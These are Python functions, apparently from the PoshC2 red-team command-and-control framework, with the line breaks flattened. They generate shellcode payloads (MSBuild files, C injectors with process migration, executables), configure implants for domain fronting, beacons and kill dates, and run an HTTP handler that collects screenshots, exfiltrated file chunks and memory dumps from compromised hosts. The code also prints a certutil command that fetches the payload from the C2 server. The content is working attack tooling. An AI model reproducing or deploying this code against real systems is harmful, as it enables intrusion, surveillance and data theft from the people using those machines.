def CreateMsbuild(self, name=""): x86filename = "%s%s" % (self.BaseDirectory, name + "Posh_v4_x86_Shellcode.bin") x64filename = "%s%s" % (self.BaseDirectory, name + "Posh_v4_x64_Shellcode.bin") with open(x86filename, "rb") as b86: x86base64 = base64.b64encode(b86.read()) with open(x64filename, "rb") as b64: x64base64 = base64.b64encode(b64.read()) with open("%scsc.cs" % FilesDirectory, 'rb') as f: content = f.read() ccode = content.replace("#REPLACEME32#", x86base64) ccode = ccode.replace("#REPLACEME64#", x64base64) filename = "%s%scsc.cs" % (self.BaseDirectory, name) output_file = open(filename, 'w') output_file.write(ccode) output_file.close() self.QuickstartLog("") self.QuickstartLog("CSC file written to: %s%scsc.cs" % (self.BaseDirectory, name)) with open("%smsbuild.xml" % FilesDirectory, 'rb') as f: msbuild = f.read() projname = randomuri() msbuild = msbuild.replace("#REPLACEME32#", x86base64) msbuild = msbuild.replace("#REPLACEME64#", x64base64) msbuild = msbuild.replace("#REPLACEMERANDSTRING#", projname) self.QuickstartLog("Msbuild file written to: %s%smsbuild.xml" % (self.BaseDirectory, name)) filename = "%s%smsbuild.xml" % (self.BaseDirectory, name) output_file = open(filename, 'w') output_file.write(msbuild) output_file.close()
def createnewpayload(user, startup): domain = input("Domain or URL: https://www.example.com ") domainbase = (domain.lower()).replace('https://', '') domainbase = domainbase.replace('http://', '') domainfront = input("Domain front URL: e.g. fjdsklfjdskl.cloudfront.net ") proxyurl = input("Proxy URL: .e.g. http://10.150.10.1:8080 ") randomid = randomuri(5) proxyuser = "" proxypass = "" credsexpire = "" if proxyurl: proxyuser = input("Proxy User: e.g. Domain\\user ") proxypass = input("Proxy Password: e.g. Password1 ") credsexpire = input( "Password/Account Expiration Date: .e.g. 15/03/2018 ") imurl = "%s?p" % get_newimplanturl() domainbase = "Proxy%s%s" % (domainbase, randomid) else: domainbase = "%s%s" % (randomid, domainbase) imurl = get_newimplanturl() C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], domain, domainfront, C2[8], proxyuser, proxypass, proxyurl, "", "", C2[19], C2[20], C2[21], imurl, PayloadsDirectory) newPayload.CreateRaw("%s_" % domainbase) newPayload.CreateDlls("%s_" % domainbase) newPayload.CreateShellcode("%s_" % domainbase) newPayload.CreateEXE("%s_" % domainbase) newPayload.CreateMsbuild("%s_" % domainbase) newPayload.CreatePython("%s_" % domainbase) new_urldetails(randomid, domain, domainfront, proxyurl, proxyuser, proxypass, credsexpire) startup(user, "Created new payloads")
def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, proxy): self.RandomURI = randomuri() self.Label = None self.User = user self.Hostname = hostname self.IPAddress = ipaddress self.Key = gen_key().decode("utf-8") self.FirstSeen = ( datetime.datetime.now()).strftime("%d/%m/%Y %H:%M:%S") self.LastSeen = (datetime.datetime.now()).strftime("%d/%m/%Y %H:%M:%S") self.PID = pid self.Proxy = proxy self.Arch = arch self.Domain = domain self.DomainFrontHeader = get_dfheader() self.Alive = "Yes" self.UserAgent = get_defaultuseragent() self.Sleep = get_defaultbeacon() self.ModsLoaded = "" self.Jitter = Jitter self.ImplantID = "" self.Pivot = pivot self.KillDate = get_killdate() self.ServerURL = select_item("HostnameIP", "C2Server") self.AllBeaconURLs = get_otherbeaconurls() self.AllBeaconImages = get_images() self.SharpCore = """ RANDOMURI19901%s10991IRUMODNAR URLS10484390243%s34209348401SLRU KILLDATE1665%s5661ETADLLIK SLEEP98001%s10089PEELS JITTER2025%s5202RETTIJ NEWKEY8839394%s4939388YEKWEN IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs, self.KillDate, self.Sleep, self.Jitter, self.Key, self.AllBeaconImages) with open("%spy_dropper.sh" % (PayloadsDirectory), 'rb') as f: self.PythonImplant = base64.b64encode(f.read()).decode("utf-8") py_implant_core = open("%s/Implant-Core.py" % FilesDirectory, 'r').read() self.PythonCore = py_implant_core % ( self.DomainFrontHeader, self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter, self.Key, self.RandomURI, self.UserAgent) ps_implant_core = open("%s/Implant-Core.ps1" % FilesDirectory, 'r').read() self.PSCore = ps_implant_core % ( self.Key, self.Jitter, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs ) # Add all db elements def display(self):
def default_response(): return bytes( (random.choice(HTTPResponses)).replace("#RANDOMDATA#", randomuri()), "utf-8")
def CreateEXE(self, name=""): with open("%s%sPosh_v4_x64_Shellcode.bin" % (self.BaseDirectory, name), 'rb') as f: sc64 = f.read() hexcode = "".join("\\x{:02x}".format(ord(c)) for c in sc64) sc64 = formStr("char sc[]", hexcode) with open("%sShellcode_Injector.c" % FilesDirectory, 'rb') as f: content = f.read() ccode = content.replace("#REPLACEME#", sc64) self.QuickstartLog("64bit EXE Payload written to: %s%sPosh64.exe" % (self.BaseDirectory, name)) filename = "%s%sPosh64.c" % (self.BaseDirectory, name) output_file = open(filename, 'w') output_file.write(ccode) output_file.close() with open("%sShellcode_Injector_Migrate.c" % FilesDirectory, 'rb') as f: content = f.read() ccode = content.replace("#REPLACEME#", sc64) migrate_process = DefaultMigrationProcess if "\\" in migrate_process and "\\\\" not in migrate_process: migrate_process = migrate_process.replace("\\", "\\\\") ccode = ccode.replace("#REPLACEMEPROCESS#", migrate_process) self.QuickstartLog( "64bit EXE Payload written to: %s%sPosh64_migrate.exe" % (self.BaseDirectory, name)) filename = "%s%sPosh64_migrate.c" % (self.BaseDirectory, name) output_file = open(filename, 'w') output_file.write(ccode) output_file.close() with open("%s%sPosh_v4_x86_Shellcode.bin" % (self.BaseDirectory, name), 'rb') as f: sc32 = f.read() hexcode = "".join("\\x{:02x}".format(ord(c)) for c in sc32) sc32 = formStr("char sc[]", hexcode) with open("%sShellcode_Injector.c" % FilesDirectory, 'rb') as f: content = f.read() ccode = content.replace("#REPLACEME#", sc32) self.QuickstartLog("32bit EXE Payload written to: %s%sPosh32.exe" % (self.BaseDirectory, name)) filename = "%s%sPosh32.c" % (self.BaseDirectory, name) output_file = open(filename, 'w') output_file.write(ccode) output_file.close() with open("%sShellcode_Injector_Migrate.c" % FilesDirectory, 'rb') as f: content = f.read() ccode = content.replace("#REPLACEME#", sc32) self.QuickstartLog( "32bit EXE Payload written to: %s%sPosh32_migrate.exe" % (self.BaseDirectory, name)) filename = "%s%sPosh32_migrate.c" % (self.BaseDirectory, name) output_file = open(filename, 'w') output_file.write(ccode) output_file.close() try: uri = self.HostnameIP + ":" + self.Serverport + "/" + QuickCommand + "_ex6" filename = randomuri() self.QuickstartLog(Colours.END) self.QuickstartLog("Download Posh64.exe using certutil:" + Colours.GREEN) self.QuickstartLog( "certutil -urlcache -split -f %s %%temp%%\\%s.exe" % (uri, filename)) if os.name == 'nt': compile64 = "C:\\TDM-GCC-64\\bin\\gcc.exe %s%sPosh64.c -o %s%sPosh64.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) compile32 = "C:\\TDM-GCC-32\\bin\\gcc.exe %s%sPosh32.c -o %s%sPosh32.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) else: compile64 = "x86_64-w64-mingw32-gcc %s%sPosh64.c -o %s%sPosh64.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) compile32 = "i686-w64-mingw32-gcc %s%sPosh32.c -o %s%sPosh32.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) subprocess.check_output(compile64, shell=True) subprocess.check_output(compile32, shell=True) filename = randomuri() self.QuickstartLog(Colours.END) self.QuickstartLog("Download Posh32.exe using certutil:" + Colours.GREEN) self.QuickstartLog( "certutil -urlcache -split -f %s %%temp%%\\%s.exe" % (uri, filename)) if os.name == 'nt': compile64 = "C:\\TDM-GCC-64\\bin\\gcc.exe %s%sPosh64_migrate.c -o %s%sPosh64_migrate.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) compile32 = "C:\\TDM-GCC-32\\bin\\gcc.exe %s%sPosh32_migrate.c -o %s%sPosh32_migrate.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) else: compile64 = "x86_64-w64-mingw32-gcc %s%sPosh64_migrate.c -o %s%sPosh64_migrate.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) compile32 = "i686-w64-mingw32-gcc %s%sPosh32_migrate.c -o %s%sPosh32_migrate.exe" % ( self.BaseDirectory, name, self.BaseDirectory, name) subprocess.check_output(compile64, shell=True) subprocess.check_output(compile32, shell=True) except Exception as e: print e print "apt-get install mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common"
def do_POST(s): """Respond to a POST request.""" try: s.server_version = ServerHeader s.sys_version = "" content_length = int(s.headers['Content-Length']) s.cookieHeader = s.headers.get('Cookie') cookieVal = (s.cookieHeader).replace("SessionID=", "") post_data = s.rfile.read(content_length) logging.info( "POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(s.path), str(s.headers), post_data) now = datetime.datetime.now() result = get_implants_all() for i in result: implantID = i[0] RandomURI = i[1] Hostname = i[3] encKey = i[5] Domain = i[11] User = i[2] if RandomURI in s.path and cookieVal: update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"), RandomURI) decCookie = decrypt(encKey, cookieVal) rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if decCookie.startswith("Error"): print(Colours.RED) print("The multicmd errored: ") print(rawoutput) print(Colours.GREEN) return taskId = str(int(decCookie.strip('\x00'))) taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId) executedCmd = get_cmd_from_task_id(taskId) task_owner = get_task_owner(taskId) print(Colours.GREEN) if task_owner is not None: print( "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, task_owner, implantID, Domain, User, Hostname, now.strftime("%d/%m/%Y %H:%M:%S"))) else: print( "Task %s returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implantID, Domain, User, Hostname, now.strftime("%d/%m/%Y %H:%M:%S"))) try: outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput) outputParsed = outputParsed.rstrip() except: pass if "loadmodule" in executedCmd: print("Module loaded successfully") update_task(taskId, "Module loaded successfully") elif "get-screenshot" in executedCmd.lower(): try: decoded = base64.b64decode(outputParsed) filename = i[3] + "-" + now.strftime( "%m%d%Y%H%M%S_" + randomuri()) output_file = open( '%s%s.png' % (DownloadsDirectory, filename), 'wb') print("Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) update_task( taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory, filename)) output_file.write(decoded) output_file.close() except Exception: update_task( taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" ) print( "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" ) elif (executedCmd.lower().startswith("$shellcode64")) or ( executedCmd.lower().startswith("$shellcode64")): update_task(taskId, "Upload shellcode complete") print("Upload shellcode complete") elif (executedCmd.lower().startswith( "run-exe core.program core inject-shellcode")): update_task(taskId, "Upload shellcode complete") print(outputParsed) elif "download-file" in executedCmd.lower(): try: filename = executedCmd.lower().replace( "download-file ", "") filename = filename.replace("-source ", "") filename = filename.replace("..", "") filename = filename.replace("'", "") filename = filename.replace('"', "") filename = filename.rsplit('/', 1)[-1] filename = filename.rsplit('\\', 1)[-1] filename = filename.rstrip('\x00') original_filename = filename chunkNumber = rawoutput[:5].decode("utf-8") print(chunkNumber) totalChunks = rawoutput[5:10].decode("utf-8") print(totalChunks) if (chunkNumber == "00001") and os.path.isfile( '%s/downloads/%s' % (ROOTDIR, filename)): counter = 1 while (os.path.isfile('%s/downloads/%s' % (ROOTDIR, filename))): if '.' in filename: filename = original_filename[:original_filename.rfind( '.')] + '-' + str( counter) + original_filename[ original_filename.rfind('.' ):] else: filename = original_filename + '-' + str( counter) counter += 1 if (chunkNumber != "00001"): counter = 1 if not os.path.isfile('%s/downloads/%s' % (ROOTDIR, filename)): print( "Error trying to download part of a file to a file that does not exist: %s" % filename) while (os.path.isfile('%s/downloads/%s' % (ROOTDIR, filename))): # First find the 'next' file would be downloaded to if '.' in filename: filename = original_filename[:original_filename.rfind( '.')] + '-' + str( counter) + original_filename[ original_filename.rfind('.' ):] else: filename = original_filename + '-' + str( counter) counter += 1 if counter != 2: # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter if '.' in filename: filename = original_filename[:original_filename.rfind( '.')] + '-' + str( counter) + original_filename[ original_filename.rfind('.' ):] else: filename = original_filename + '-' + str( counter) else: filename = original_filename print("Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) update_task( taskId, "Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) output_file = open( '%s/downloads/%s' % (ROOTDIR, filename), 'ab') output_file.write(rawoutput[10:]) output_file.close() except Exception as e: update_task(taskId, "Error downloading file %s " % e) print("Error downloading file %s " % e) traceback.print_exc() elif "safetydump" in executedCmd.lower(): rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if rawoutput.startswith("[-]"): update_task(taskId, rawoutput) print(rawoutput) else: dumppath = "%sSafetyDump-Task-%s.bin" % ( DownloadsDirectory, taskIdStr) open(dumppath, 'wb').write(base64.b64decode(rawoutput)) message = "Dump written to: %s" % dumppath update_task(taskId, message) print(message) else: update_task(taskId, outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END) except Exception as e: print(e) traceback.print_exc() pass finally: try: UriPath = str(s.path) sharpurls = get_sharpurls().split(",") sharplist = [] for i in sharpurls: i = i.replace(" ", "") i = i.replace("\"", "") sharplist.append("/" + i) if any(UriPath in s for s in sharplist): try: open("%swebserver.log" % ROOTDIR, "a").write( "[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath)) r = Request( "%s%s" % (SocksHost, UriPath), headers={ 'Cookie': '%s' % s.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36' }) res = urlopen(r, post_data) sharpout = res.read() s.send_response(res.getcode()) s.send_header("Content-type", "text/html") s.send_header("Content-Length", len(sharpout)) s.end_headers() if (len(sharpout) > 0): s.wfile.write(sharpout) except HTTPError as e: s.send_response(res.getcode()) s.send_header("Content-type", "text/html") s.send_header("Content-Length", len(sharpout)) s.end_headers() open("%swebserver.log" % ROOTDIR, "a").write( "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % ROOTDIR, "a").write("[-] SharpSocks %s\r\n" % e) except Exception as e: s.send_response(res.getcode()) s.send_header("Content-type", "text/html") s.send_header("Content-Length", len(sharpout)) s.end_headers() open("%swebserver.log" % ROOTDIR, "a").write( "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % ROOTDIR, "a").write("[-] SharpSocks %s\r\n" % e) print( Colours.RED + "Error with SharpSocks connection - is SharpSocks running" + Colours.END) else: s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(default_response()) except Exception as e: print("Generic Error in SharpSocks")